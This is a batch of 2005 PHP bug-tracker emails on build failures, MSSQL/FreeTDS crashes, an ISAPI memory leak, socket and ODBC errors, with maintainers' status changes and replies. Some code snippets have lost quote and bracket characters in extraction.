date:20050530

 ID:   33182
 Updated by:   [EMAIL PROTECTED]
 Reported By:  shweta_yadav at datamatics dot com
-Status:   Open
+Status:   Bogus
-Bug Type: Systems problem
+Bug Type: *General Issues
 Operating System: Windows XP 2002 Prof SP 2
 PHP Version:  Irrelevant
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions.  Due to the volume
of reports we can not explain in detail here why your report is not
a bug.  The support channels will be able to provide an explanation
for you.

Thank you for your interest in PHP.




Previous Comments:


[2005-05-30 07:44:28] shweta_yadav at datamatics dot com

Description:

When I try to run System('echo .dump | sqlite c:\program
files\AMS\PHPConfig.sqlite  C:\program
files\AMS\Backup.txt,$ReturnVal ) it gives an error saying 'Unable to
fork System()'.

 I am trying to run the PHP page on IIS 6

 Earlier I was using PHP  4.3.4 and while executing the above system()
command it did not give any output execept a blank screen . So I
updraded PHP to 4.3.11 . Now it is giving me the 'Unable to fork
System()'.

 could somebody please help me in fixing this problem.Its very urgent.






-- 
Edit this bug report at http://bugs.php.net/?id=33182edit=1

#33177 [Asn-Csd]: phpize generates bad configure files

 ID:   33177
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
-Status:   Assigned
+Status:   Closed
 Bug Type: Compile Failure
 Operating System: Gentoo Linux
 PHP Version:  5CVS-2005-05-29 (dev)
 Assigned To:  sniper
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:


[2005-05-29 22:08:31] [EMAIL PROTECTED]

And xdebug was just an example.. Same thing with imagick, runkit and so
on.. =)



[2005-05-29 22:06:16] [EMAIL PROTECTED]

Oh, and:
# which sed
/bin/sed
# sed --version
GNU sed version 4.1.4




[2005-05-29 22:02:28] [EMAIL PROTECTED]

Description:

Using HEAD phpize doesn't generate correct configure files anymore..

autoconf 2.13
automake 1.4
libtool 1.4.3
m4 1.4.3

Reproduce code:
---
cd xdebug
phpize
./configure --enable-xdebug

Actual result:
--
checking if compiler supports -Wl,-rpath,... yes
checking host system type... i686-pc-linux-gnu
checking target system type... i686-pc-linux-gnu
./configure: line 1424: s/.*//: No such file or directory
checking for PHP prefix... /usr/local/www/php/5_1-full
...
checking for gettimeofday... yes
checking build system type... i686-pc-linux-gnu
checking for ld used by gcc... ./configure: line 2096: s%\\%/%g: No
such file or directory
no
configure: error: no acceptable ld found in $PATH
[EMAIL PROTECTED] /mnt/data5/PHP/xdebug/xdebug # 


Line 1424:
$EGREP $pattern'.*include/php' $srcdir/configure|$SED 's/.*//'|xargs
touch 2/dev/null

Line 2096:
  ac_prog=`echo $ac_prog| $SED 's%%/%g'`






-- 
Edit this bug report at http://bugs.php.net/?id=33177edit=1

#26286 [Com]: Parent: child process exited with status 3221225477 -- Restarting

2005-05-30 Thread mail at fabianhess dot de

 ID:   26286
 Comment by:   mail at fabianhess dot de
 Reported By:  igg10 at alu dot ua dot es
 Status:   No Feedback
 Bug Type: Apache2 related
 Operating System: Windows 2000
 PHP Version:  4.3.4
 New Comment:

I'm experiencing the problem when accessing an Oracle Database. The
Apache Log says:

snip
[client 192.168.101.19] PHP Warning:  ociserverversion() [a
href='function.ociserverversion'function.ociserverversion/a]:
OCIServerVersion: ORA-03113: Unerwartetes \xdcbertragungsende in
Kommunikation\n in
C:\\Programme\\TSW\\Apache2\\intranet\\Maka\\orasql\\taskAusfuehren.php
on line 179
[client 192.168.101.19] PHP Warning:  ociexecute() [a
href='function.ociexecute'function.ociexecute/a]: OCIStmtExecute:
ORA-03114: Nicht mit ORACLE verbunden\n in
C:\\Programme\\TSW\\Apache2\\intranet\\Maka\\orasql\\taskAusfuehren.php
on line 308
[client 192.168.101.19] PHP Warning:  ociserverversion() [a
href='function.ociserverversion'function.ociserverversion/a]:
OCIServerVersion: ORA-01041: Interner Fehler: hostdef-Erweiterung ist
nicht vorhanden\n in
C:\\Programme\\TSW\\Apache2\\intranet\\Maka\\orasql\\taskAusfuehren.php
on line 179
[client 192.168.101.19] PHP Warning:  ociexecute() [a
href='function.ociexecute'function.ociexecute/a]: OCIStmtExecute:
ORA-03114: Nicht mit ORACLE verbunden\n in
C:\\Programme\\TSW\\Apache2\\intranet\\Maka\\orasql\\taskAusfuehren.php
on line 308
[Thu May 26 01:50:06 2005] [notice] Parent: child process exited with
status 3221225477 -- Restarting.
snip


Previous Comments:


[2003-11-17 14:18:03] [EMAIL PROTECTED]

Not enough information was provided for us to be able
to handle this bug. Please re-read the instructions at
http://bugs.php.net/how-to-report.php

If you can provide more information, feel free to add it
to this bug and change the status back to Open.

Thank you for your interest in PHP.






[2003-11-17 07:51:17] igg10 at alu dot ua dot es

Description:

Apache2 crashes

PHP as module on apache 2.0.47 php 4.3.2 windows 2000

Fri Nov 14 12:53:09 2003] [notice] Parent: child process exited with 
status 3221225477 -- Restarting.
[Fri Nov 14 12:53:09 2003] [notice] Parent: Created child process 1044
[Fri Nov 14 12:53:09 2003] [notice] Child 1044: Child process is 
running
[Fri Nov 14 12:53:10 2003] [notice] Child 1044: Acquired the start 
mutex.
[Fri Nov 14 12:53:10 2003] [notice] Child 1044: Starting 64 worker 
threads.







-- 
Edit this bug report at http://bugs.php.net/?id=26286edit=1

#11188 [NoF-Bgs]: translate national characters in freeeTDS-driver

2005-05-30 Thread tony2001

 ID:   11188
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mikle at interquadro dot net
-Status:   No Feedback
+Status:   Bogus
 Bug Type: Sybase (dblib) related
 Operating System: freeBSD
 PHP Version:  4.0.5
 New Comment:

No PHP bug.


Previous Comments:


[2005-05-29 22:25:06] freddyz77 at tin dot it

Fixed by newer FreeTDS versions.



[2002-01-28 10:40:22] [EMAIL PROTECTED]

No feedback.



[2002-01-07 02:32:52] [EMAIL PROTECTED]

Can you
  - try this with a newer version of freetds
  - try this with PHP 4.1.1

and see if the problem still exists...



[2001-06-30 15:04:57] [EMAIL PROTECTED]

This is not related to the mssql extension. You are using the sybase
extension.



[2001-05-30 04:33:07] mikle at interquadro dot net

I have: FreeBSD-FreeTDS-MSSQL 7.0
This line
mssql_query(SELECT * FROM table WHERE field='national characters')
dont normal work

function ascci2unicode() in FreeTDS-driver is not good!!!






-- 
Edit this bug report at http://bugs.php.net/?id=11188edit=1

#33166 [Asn-Csd]: bin_src_SCRIPTS in the Makefile have no value

 ID:   33166
 Updated by:   [EMAIL PROTECTED]
 Reported By:  behrens at takenet dot de
-Status:   Assigned
+Status:   Closed
 Bug Type: Compile Failure
 Operating System: IRIX 6.5.27
 PHP Version:  5CVS-2005-05-27 (dev)
 Assigned To:  sniper
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:


[2005-05-27 23:58:58] behrens at takenet dot de

Description:

In the Makefile the the variable 'bin_src_SCRIPTS' have no value which
breaks the make install proccess.

So see whats going wrong just remove the @ in the install-programs
part.

  program: phpize
  program: php-config
for prog in ; do \
echo   program: $prog; \
/usr2/MIPS/php-src/build/shtool install -c -m 755
/usr2/MIPS/php-src/scripts/$prog /usr/nekoware-build/php5/bin/$prog; \
done
  program:
shtool:install:Warning: source `/usr2/MIPS/php-src/scripts/' is a
directory - skipped


To bypass the problem you can wrap some   around the bin_src_SCRIPTS
variable. Problems exits in php5 head and in the snapshot. PHP4.3.11
compiles fine and can be installed without a problem.

Reproduce code:
---
./configure --disable-all --prefix=/tmp/php5
gmake  gmake install

Expected result:

a propper installation

Actual result:
--
make install stops with a error

for prog in ; do \
echo   program: $prog; \
/usr2/MIPS/php-src/build/shtool install -c -m 755
/usr2/MIPS/php-src/scripts/$prog /usr/nekoware-build/php5/bin/$prog; \
done
/bin/sh: syntax error at line 1 : `;' unexpected





-- 
Edit this bug report at http://bugs.php.net/?id=33166edit=1

#30351 [Com]: PHP crashes on the REAL data type in a MSSQL query

 ID:   30351
 Comment by:   freddyz77 at tin dot it
 Reported By:  davidifre at yahoo dot com
 Status:   Assigned
 Bug Type: MSSQL related
 Operating System: solaris 5.8
 PHP Version:  4.3.9
 Assigned To:  fmk
 New Comment:

What operation system are you using?
Have you tried to update FreeTDS version?

freddy77
(FreeTDS developer)


Previous Comments:


[2004-10-19 14:34:45] davidifre at yahoo dot com

Hi,
do you know if this is a bug? Am I alone to experience this problem?

thx



[2004-10-07 11:01:58] davidifre at yahoo dot com

Description:

I use freetds 0.62.4.

I have a table with rows of different data type (binary, datetime, int,
bit, smallint, tinyint, varbinary, varchar and real). A query with a
request on the real data row (name is value) will crash php whereas
other requests are ok: here is what i have in my apache logs

[Thu Oct  7 09:11:16 2004] [notice] child pid 3045 exit signal Bus
Error (10)

It is not browser dependent but with Netscape7 I have a message this
document contains no data.

any idea?

compiled (I removed every path):
--with-apache --with-ldap --with-mysql --with-pgsql --with-sybase
--with-oracle --with-oci8 --with-mssql --with-gd --with-zlib-dir
--with-zip --with-jpeg-dir --with-png-dir --with-tiff-dir --with-pdflib
--with-imap --with-snmp --with-mcrypt --with-sablot --with-expat-dir
--with-gettext --enable-sysvsem --enable-sysvshm --enable-yp
--enable-ftp --enable-calendar --enable-mbstring=all --without-pear
--disable-cli


Reproduce code:
---
$req_SQL=SELECT value from table_name;
$id_con=mssql_connect(host:port,username,pwd) or die (Could not
connect to database: .mssql_get_last_message());
$msdb=mssql_select_db(base_name,$id_con);
$result=mssql_query($req_SQL,$id_con);








-- 
Edit this bug report at http://bugs.php.net/?id=30351edit=1

#33118 [Opn]: Memory leak in ISAPI module after exception

2005-05-30 Thread T dot Hauck at janaserver dot de

 ID:   33118
 User updated by:  T dot Hauck at janaserver dot de
 Reported By:  T dot Hauck at janaserver dot de
 Status:   Open
 Bug Type: IIS related
 Operating System: Windows 2000 / XP / All
 PHP Version:  5.0.4, 4.3.11
 New Comment:

i don't know if bug #32475 is relatet!

But when is the function openlog in the file wsyslog is called? Not
as far as i know! This function makes the handle that later will be used
in the function closelog. As far as i can see this, this handle is
never be initalised, and by calling the closelog function this wild
handle is used to call the DeregisterEventSource handle, what
generates than the Exeption. If i step with the debugger over the
DeregisterEventSource function everything works fine !


Previous Comments:


[2005-05-27 09:03:27] [EMAIL PROTECTED]

See also bug #32475




[2005-05-24 11:51:01] [EMAIL PROTECTED]

Yes, but it does exist in 5.0.4 too..




[2005-05-24 11:48:33] T dot Hauck at janaserver dot de

Memeory leak still exist in the Snap Shot of Version 5.0.5 dev.

The Bugreport was original reported for Version 4.3.11 and not for
Version 5.0.4 !



[2005-05-24 10:00:56] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5-STABLE-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.0-win32-latest.zip





[2005-05-24 09:40:32] T dot Hauck at janaserver dot de

Description:

In each call to the HttpExtensionProc in the ISAPI Modul of PHP a
Windows exception 0x06A6 is raised. I debuged it back to the that
line of sourcecode: DeregisterEventSource(PW32G(log_source));
Line 64 in file wsyslog.c

After stepping into that line the exception 0x06A6 is raised.

The Stackframe looks like that:
php4ts_debug.dll!closelog() Line 64
php4ts_debug.dll!zm_deactivate_syslog () Line 125
php4ts_debug.dll!zm_deactivate_basic () Line 1243
php4ts_debug.dll!modul_registry_cleanup () Line 1168
php4ts_debug.dll!zend_hash_apply () Line 701
php4ts_debug.dll!zend_deactivate_moduls () Line 678
php4ts_debug.dll!php_request_shutdown () Line 982
php4isapi.dll!HttpExtensionProc () Line 899

I have a screenshot avalible with all the details of the stackframe.

In normal operation mode, the only sign will be only a memory leak. 

The problem was NOT pressent in version 4.3.10.
But PHP version 5.0.4 has the same problem.







-- 
Edit this bug report at http://bugs.php.net/?id=33118edit=1

#23508 [Com]: Segmentation fault with data type in mssql

 ID:   23508
 Comment by:   freddyz77 at tin dot it
 Reported By:  alietss at yahoo dot com
 Status:   No Feedback
 Bug Type: MSSQL related
 Operating System: RedHat 9.0
 PHP Version:  4CVS-2003-05-06 (stable)
 New Comment:

Current version (0.63) do not contains that assert.

freddy77
(FreeTDS developer)


Previous Comments:


[2004-04-12 01:03:48] swingcoder at msn dot com

i met the same problem,
any one resolve it,
pls let me know via email above.
tks



[2004-01-08 04:21:46] sebastian dot wiehe at qmarketing dot de

Anyone found a solution for that prob? I'm having exactly the same
problems running mandrake 9.2, freeTDS 0.61, php 4.3.3.

By now, I found no one who could deal with this strange behaviour. If
you need further information concerning that possible bug, please
contact me via email

Thanks



[2003-05-14 11:02:54] [EMAIL PROTECTED]

No feedback was provided. The bug is being suspended because
we assume that you are no longer experiencing the problem.
If this is not the case and you are able to provide the
information that was requested earlier, please do so and
change the status of the bug back to Open. Thank you.





[2003-05-06 12:11:02] [EMAIL PROTECTED]

Can you provide me with a small code sample to reproduce this error. I
think it is a bug in FreeTDS, and would like to trace it.



[2003-05-06 11:14:30] alietss at yahoo dot com

Hi PHP people:
I have found a segmentation fault with httpd-2.0.45
php-4.3.2 freetds-0.62-dev on RedHat 9.0 TDS 7.0
against a Microsoft SQL Server 2000, the problem is
when some of the queries field is of type datetime
8...
I'm using freetds-0.62-dev with mssql native php extension
Here the apache error log...

httpd: read.c:365: tds_get_char_data: Assertion
`in_left  4' failed.
[Tue May 06 11:05:27 2003] [notice] child pid 9064
exit signal Segmentation fault (11)
[Tue May 06 11:05:27 2003] [notice] child pid 9065
exit signal Segmentation fault (11)

I report this to freetds people too since I don't know who belongs the
problem...
   Any Ideas, Regards Aliet





-- 
Edit this bug report at http://bugs.php.net/?id=23508edit=1

#13368 [Com]: 2nd call to @mssql_query does not fill $php_errormsg s'd be'permission denied'

 ID:   13368
 Comment by:   freddyz77 at tin dot it
 Reported By:  hlousek at excon dot cz
 Status:   No Feedback
 Bug Type: MSSQL related
 Operating System: SuSe Linux 7.1
 PHP Version:  4.0.6
 New Comment:

FreeTDS 0.51 is very old, error handling has been entirely rewritten.
You can close the bug report.

freddy77
(FreeTDS developer)


Previous Comments:


[2002-01-25 11:48:14] [EMAIL PROTECTED]

No feedback.



[2002-01-03 22:07:37] [EMAIL PROTECTED]

This may have just been corrected in the development 
version of PHP.

Could you please download and build the php4-latest 
snapshot from http://snaps.php.net?

Alternately, the change should be in the next release of 
PHP.




[2001-09-18 10:30:19] hlousek at excon dot cz

I'm using MSSQL 7.0 on WinNT4.0, FreeTDS 0.51 with tdsver=4.2, client
is
SuSe Linux 7.1, Apache 1.3.19, PHP 4.0.6.

I've run into troubles while checking SELECT permissions for several
tables within a single db connection. In a typical case, I think, this
should work fine:

##
$php_errormsg = '';
@mssql_query(SELECT * FROM $table);
if (!empty($php_errormsg)) {
echo It seems you cannot access table $table;
}
##

But this code works only the first time within a single connection to
MSSQL server. The 2nd call to such a code does nothing with the
contents
of $php_errormsg, even when there should be message 'Permission
denied'.
(Sometimes the next call to mssql_query without '@' fires the
exception.)

I've also tried a piece of code like this, but the result was the
same:

##
$php_errormsg = '';
$result = mssql_query(SELECT * FROM $table);
if (! $result) {
echo It seems you cannot access table $table;
}
##

It seems to me, that there is a bug somewhere. The only way to handle
this situation seems to be reconnecting to the MSSQL server. Any help?




-- 
Edit this bug report at http://bugs.php.net/?id=13368edit=1

#33153 [Com]: segfaults when calling mssql_next_result

 ID:   33153
 Comment by:   freddyz77 at tin dot it
 Reported By:  erudd at netfor dot com
 Status:   Feedback
 Bug Type: MSSQL related
 Operating System: Fedora Core 3 x86_64
 PHP Version:  4.3.11
 New Comment:

dblastrow should not fail, this is certainly a FreeTDS bug. Fixed in
CVS, expect a new 0.63.1 release.
However I don't understand why PHP calls dblastrow (related to dblib
buffering).

freddy77
(FreeTDS developer)


Previous Comments:


[2005-05-26 19:37:46] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5-win32-latest.zip





[2005-05-26 18:49:17] eddie at omegaware dot com

segfault occurs because of a null res_info in the dbproc that is passed
to the dblastrow function in freetds' dblib.

FreeTDS bug report on the issue

http://sourceforge.net/tracker/index.php?func=detailaid=1209286group_id=33106atid=407806

Not sure if this is a freetds issue, or if php-mssql isn't doing
something correct.



[2005-05-26 18:23:22] eddie at omegaware dot com

Backtrace of the crash.

#0  dblastrow (dbproc=0x8c9530) at dblib.c:5909
#1  0x002a9a7f54bf in zif_mssql_next_result (ht=9213232,
return_value=0x7bde58, 
this_ptr=0x9034a0, return_value_used=9454256)
at
/home/erudd/RPMBUILD/BUILD/php-4.3.11/ext/mssql/php_mssql.c:1865
#2  0x0051c405 in execute (op_array=0x8004b8)
at /usr/src/debug/php-4.3.11/Zend/zend_execute.c:1654
#3  0x0051891b in execute (op_array=0x7f3128)
at /usr/src/debug/php-4.3.11/Zend/zend_execute.c:1698
#4  0x0051891b in execute (op_array=0x7af1b8)
at /usr/src/debug/php-4.3.11/Zend/zend_execute.c:1698
#5  0x0050869d in zend_execute_scripts (type=8, retval=0x0,
file_count=3)
at /usr/src/debug/php-4.3.11/Zend/zend.c:926
#6  0x004dc14a in php_execute_script
(primary_file=0x7fb550)
at /usr/src/debug/php-4.3.11/main/main.c:1745
#7  0x0052384a in main (argc=3, argv=0x7fb688)
at /usr/src/debug/php-4.3.11/sapi/cgi/cgi_main.c:1601



[2005-05-26 18:16:43] erudd at netfor dot com

Description:

Using the mssql extension from PHP 4.3.11 on an x86_64 system. (core
PHP is latest FC3 RPMS, php-mssql is custom compiled RPM using freetds
0.63).  Everything works fine except for calling the mssql_next_result
function (via PEAR::DB 1.7.6) apache and the command line client will
segfault.  This works fine on a MDK 10.1 32bit system w/ PHP 4.3.8. 

I havn't yet tried on a FC3 x86 system

Also the freetds commandline 'tsql command runs the query without any
issues and returns all the result fields.

Reproduce code:
---
require_once(DB.php);
$db = DB::connect(mssql://user:[EMAIL PROTECTED]/Database);
$sql = EOSQL
DECLARE Search CURSOR LOCAL SCROLL READ_ONLY FOR
   SELECT * FROM MyTable
DECLARE @limit INT, @offset INT
SET @limit = 20
SET @offset = 5
OPEN Search
FETCH ABSOLUTE @offset FROM Search
WHILE @@FETCH_STATUS =0 AND @limit  1
BEGIN
  FETCH NEXT FROM Search
  SET @limit = @limit -1
END
CLOSE Search
DEALLOCATE Search
EOSQL;
$res = $db-query($sql);
$row = $res-fetchRow(DB_FETCHMODE_ASSOC);
do {
  $return[] = $row;
  $row = $res-fetchRow(DB_FETCHMODE_ASSOC);
  if (is_null($row)) {
if ($res-nextResult()) {
   $row = $res-fetchRow(DB_FETCHMODE_ASSOC);
}
  }
} while ($row);

Expected result:

Not to segfault and return 20 records from the table starting at record
5






-- 
Edit this bug report at http://bugs.php.net/?id=33153edit=1

#33174 [Opn-Bgs]: Socket_Read() error

 ID:   33174
 Updated by:   [EMAIL PROTECTED]
 Reported By:  donnib at gmail dot com
-Status:   Open
+Status:   Bogus
 Bug Type: Sockets related
 Operating System: Windows XP sp2
 PHP Version:  5CVS-2005-05-28 (dev)
 New Comment:

Please do not submit the same bug more than once. An existing
bug report already describes this very problem. Even if you feel
that your issue is somewhat different, the resolution is likely
to be the same. 

Thank you for your interest in PHP.

See bug #21197



Previous Comments:


[2005-05-28 23:42:37] donnib at gmail dot com

Description:

Hai

Socket_read() seems to be bugged on Win32 when you add PHP_NORMAL_READ
as parameter..

the script will execute just fine until you connect to it with
telnet..





Reproduce code:
---
the soruce code can be found at http://dk2.php.net/sockets

example 1. line 37

if (false === ( $buf = socket_read($msgsock, 2048, PHP_NORMAL_READ) ) )
{

Expected result:

i had expected it to work like it says in the documention



Actual result:
--
When you do so, it will give an error, saying: socket_read() failed:
reason: Forkert funktion.

Forkert funktion translate into Wrong Function..





-- 
Edit this bug report at http://bugs.php.net/?id=33174edit=1

#13368 [NoF-Bgs]: 2nd call to @mssql_query does not fill $php_errormsg s'd be'permission denied'

2005-05-30 Thread tony2001

 ID:   13368
 Updated by:   [EMAIL PROTECTED]
 Reported By:  hlousek at excon dot cz
-Status:   No Feedback
+Status:   Bogus
 Bug Type: MSSQL related
 Operating System: SuSe Linux 7.1
 PHP Version:  4.0.6
 New Comment:

No PHP bug - bogus.


Previous Comments:


[2005-05-30 10:38:30] freddyz77 at tin dot it

FreeTDS 0.51 is very old, error handling has been entirely rewritten.
You can close the bug report.

freddy77
(FreeTDS developer)



[2002-01-25 11:48:14] [EMAIL PROTECTED]

No feedback.



[2002-01-03 22:07:37] [EMAIL PROTECTED]

This may have just been corrected in the development 
version of PHP.

Could you please download and build the php4-latest 
snapshot from http://snaps.php.net?

Alternately, the change should be in the next release of 
PHP.




[2001-09-18 10:30:19] hlousek at excon dot cz

I'm using MSSQL 7.0 on WinNT4.0, FreeTDS 0.51 with tdsver=4.2, client
is
SuSe Linux 7.1, Apache 1.3.19, PHP 4.0.6.

I've run into troubles while checking SELECT permissions for several
tables within a single db connection. In a typical case, I think, this
should work fine:

##
$php_errormsg = '';
@mssql_query(SELECT * FROM $table);
if (!empty($php_errormsg)) {
echo It seems you cannot access table $table;
}
##

But this code works only the first time within a single connection to
MSSQL server. The 2nd call to such a code does nothing with the
contents
of $php_errormsg, even when there should be message 'Permission
denied'.
(Sometimes the next call to mssql_query without '@' fires the
exception.)

I've also tried a piece of code like this, but the result was the
same:

##
$php_errormsg = '';
$result = mssql_query(SELECT * FROM $table);
if (! $result) {
echo It seems you cannot access table $table;
}
##

It seems to me, that there is a bug somewhere. The only way to handle
this situation seems to be reconnecting to the MSSQL server. Any help?




-- 
Edit this bug report at http://bugs.php.net/?id=13368edit=1

#23508 [NoF-Bgs]: Segmentation fault with data type in mssql

2005-05-30 Thread tony2001

 ID:   23508
 Updated by:   [EMAIL PROTECTED]
 Reported By:  alietss at yahoo dot com
-Status:   No Feedback
+Status:   Bogus
 Bug Type: MSSQL related
 Operating System: RedHat 9.0
 PHP Version:  4CVS-2003-05-06 (stable)
 New Comment:

No PHP bug - bogus.


Previous Comments:


[2005-05-30 10:48:39] freddyz77 at tin dot it

Current version (0.63) do not contains that assert.

freddy77
(FreeTDS developer)



[2004-04-12 01:03:48] swingcoder at msn dot com

i met the same problem,
any one resolve it,
pls let me know via email above.
tks



[2004-01-08 04:21:46] sebastian dot wiehe at qmarketing dot de

Anyone found a solution for that prob? I'm having exactly the same
problems running mandrake 9.2, freeTDS 0.61, php 4.3.3.

By now, I found no one who could deal with this strange behaviour. If
you need further information concerning that possible bug, please
contact me via email

Thanks



[2003-05-14 11:02:54] [EMAIL PROTECTED]

No feedback was provided. The bug is being suspended because
we assume that you are no longer experiencing the problem.
If this is not the case and you are able to provide the
information that was requested earlier, please do so and
change the status of the bug back to Open. Thank you.





[2003-05-06 12:11:02] [EMAIL PROTECTED]

Can you provide me with a small code sample to reproduce this error. I
think it is a bug in FreeTDS, and would like to trace it.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/23508

-- 
Edit this bug report at http://bugs.php.net/?id=23508edit=1

#33023 [Asn-Csd]: ./configure appears to hang after detecting os version

 ID:   33023
 Updated by:   [EMAIL PROTECTED]
 Reported By:  terry dot gill at ieee dot org
-Status:   Assigned
+Status:   Closed
 Bug Type: Compile Failure
 Operating System: Solaris 2.9 Sparc
 PHP Version:  5.0.4, 4.3.11
 Assigned To:  sniper
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

shtool is now 2.0.1 in all branches. Other issues will only be fixed in
HEAD. (5.1-dev)


Previous Comments:


[2005-05-13 10:17:46] terry dot gill at ieee dot org

Yep 2.0.1. 

Incidentally the ./configure will also try and use the Solaris 
native version of 'lex' if it finds it first. Really need to 
ensure it finds 'flex' instead (reorder $PATH).



[2005-05-13 09:58:28] [EMAIL PROTECTED]

What version of shtool worked for you? The latest? (IIRC, it's 2.0.0 or
something like that..)




[2005-05-13 00:12:14] terry dot gill at ieee dot org

Description:

After running ./configure it hangs after apprently detecting OS
version. On debugging I have found that the version of ~/build/shtools
(yes, I know its supposed to be portable ;-/ ) will not run on Solaris
9. Downloading, locally building, and replacing the shtool binary
resolves this problem.

Reproduce code:
---
See description

Expected result:

See description

Actual result:
--
See description





-- 
Edit this bug report at http://bugs.php.net/?id=33023edit=1

#28496 [Asn-Fbk]: Fatal Error in the make install caused by broken egrep

 ID:   28496
 Updated by:   [EMAIL PROTECTED]
 Reported By:  rehanann at kfupm dot edu dot sa
-Status:   Assigned
+Status:   Feedback
 Bug Type: Compile Failure
 Operating System: Aix 5.2
 PHP Version:  5CVS, 4CVS
 Assigned To:  sniper
 New Comment:

Please try using this CVS snapshot:

  http://snaps.php.net/php5-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5-win32-latest.zip




Previous Comments:


[2005-04-13 13:57:05] zahraoui at netcourrier dot com

i have the same pb with aix 5.1 and both php 4.3.11 and php 5.0.4 on
apache 2.0.53

bash-2.05b# ./configure --prefix=/usr/local/php
--with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/mysql
--with-config-file-path=/usr/local/apache2/conf --with-ftp --with-zlib
--with-system-regex 
...
Configuring libtool
checking for Cygwin environment... no
checking for mingw32 environment... no
checking build system type... powerpc-ibm-aix5.1.0.0
checking for ld used by GCC... /usr/bin/ld
checking if the linker (/usr/bin/ld) is GNU ld... no
checking for /usr/bin/ld option to reload object files... -r
checking for BSD-compatible nm... /usr/bin/nm -B
checking for a sed that does not truncate output... /usr/bin/sed
checking how to recognise dependent libraries... pass_all
checking for object suffix... o
checking for executable suffix... no
checking command to parse /usr/bin/nm -B output... ok
checking for ranlib... ranlib
checking for strip... strip
checking for objdir... .libs
checking for gcc option to produce PIC... none
checking if gcc static flag -static -Wl,-lC works... yes
checking if gcc supports -c -o file.o... yes
checking if gcc supports -c -o file.lo... yes
checking if gcc supports -fno-rtti -fno-exceptions... yes
checking whether the linker (/usr/bin/ld) supports shared libraries...
yes
checking how to hardcode library paths into programs... immediate
checking whether stripping libraries is possible... no
checking dynamic linker characteristics... aix5.1.0.0 ld.so
checking if libtool supports shared libraries... yes
checking whether to build shared libraries... yes
checking whether to build static libraries... no
creating libtool
...
bash-2.05b# make
... 
Build complete.
(It is safe to ignore warnings about tempnam and tmpnam).
bash-2.05b# make install
Installing PHP SAPI module:   apache2handler
/usr/local/apache2/build/instdso.sh
SH_LIBTOOL='/usr/local/apache2/build/libtool' libphp4.la
/usr/local/apache2/modules
rm -f /usr/local/apache2/modules/libphp4.so
/usr/local/apache2/build/libtool --mode=install cp libphp4.la
/usr/local/apache2/modules/
cp .libs/libphp4.a /usr/local/apache2/modules/libphp4.a
cp .libs/libphp4.lai /usr/local/apache2/modules/libphp4.la
libtool: install: warning: remember to run `libtool --finish
/usr/sys/inst.images/php-4.3.11/libs'
chmod 755 /usr/local/apache2/modules/libphp4.so
chmod: /usr/local/apache2/modules/libphp4.so: A file or directory in
the path name does not exist.
apxs:Error: Command failed with rc=65536
.
make: 1254-004 The error code from the last command is 1.


Stop.
bash-2.05b# if echo GNU | egrep '(GNU|BFD)' /dev/null; then echo Good
egrep; else echo Bad egrep; fi
Good egrep



[2005-02-21 20:00:19] [EMAIL PROTECTED]

There is no check for broken grep in our configure yet..




[2004-11-27 05:43:30] sjungels at adelphia dot net

I tracked this bug down to a faulty version of GNU grep.  If you are
having problems where no libphp4.so is generated, this may be the cause
in your case also.

If you have this problem you will notice the following symptoms: during
the part of the php configure log that begins performing libtool
configuration... you will see the following (or similar) messages:
  checking if the linker (/usr/powerpc-hardhat-linux/bin/ld) is GNU
ld... no
  checking whether the linker (/usr/powerpc-hardhat-linux/bin/ld)
supports shared libraries... no
  checking if libtool supports shared libraries... no
  checking whether to build shared libraries... no
  checking whether to build static libraries... yes

These messages may be correct, but if you have the problem I am
describing, they are caused by a bad version of grep.  Check for this
by typing
  if echo GNU | egrep '(GNU|BFD)' /dev/null; then echo Good egrep;
else echo Bad egrep; fi 

If you get back Bad egrep you are running a version of egrep which
doesn't really support extended regular expressions, and this is
confusing the php configure script.  You can fix the problem by
installing GNU grep 2.5.

If you have this problem, it will have effected apache also (even
though it seems to work, it is statically compiled and probably won't
work with DSOs), so after installing the new grep you will have to
rebuild apache and PHP

Note to whoever wrote the configure

#33184 [NEW]: odbc_exec(): SQL error: [IBM][CLI Driver][DB2/6000] SQL0954C Not enough storag

2005-05-30 Thread brad_allgood at csgsystems dot com

From: brad_allgood at csgsystems dot com
Operating system: Windows XP
PHP version:  5.0.4
PHP Bug Type: ODBC related
Bug description:  odbc_exec(): SQL error: [IBM][CLI Driver][DB2/6000] SQL0954C  
Not enough storag

Description:

Appears to be a resurface of bug id #16221 from 4.1.2

After doing between 50-182 query's to IBM DB2 7 on Windows 2000
(localhost) with this script:

?
$connection = odbc_connect( test,db2admin, admin ) 
or die(Unable to connect to SQL server);
}
$result=odbc_exec($connection,set current sqlid = 'DB2ADMIN');

$counter=0;
while ($counter 5000)
{
$query=select * from tms_user;
$result=odbc_exec($connection,$query);
$temp=odbc_fetch_row ($result);
echo counter= $counter br;
odbc_free_result($result);
odbc_close_all();

$counter++;
}
?



-- 
Edit bug report at http://bugs.php.net/?id=33184edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=33184r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=33184r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=33184r=trysnapshot51
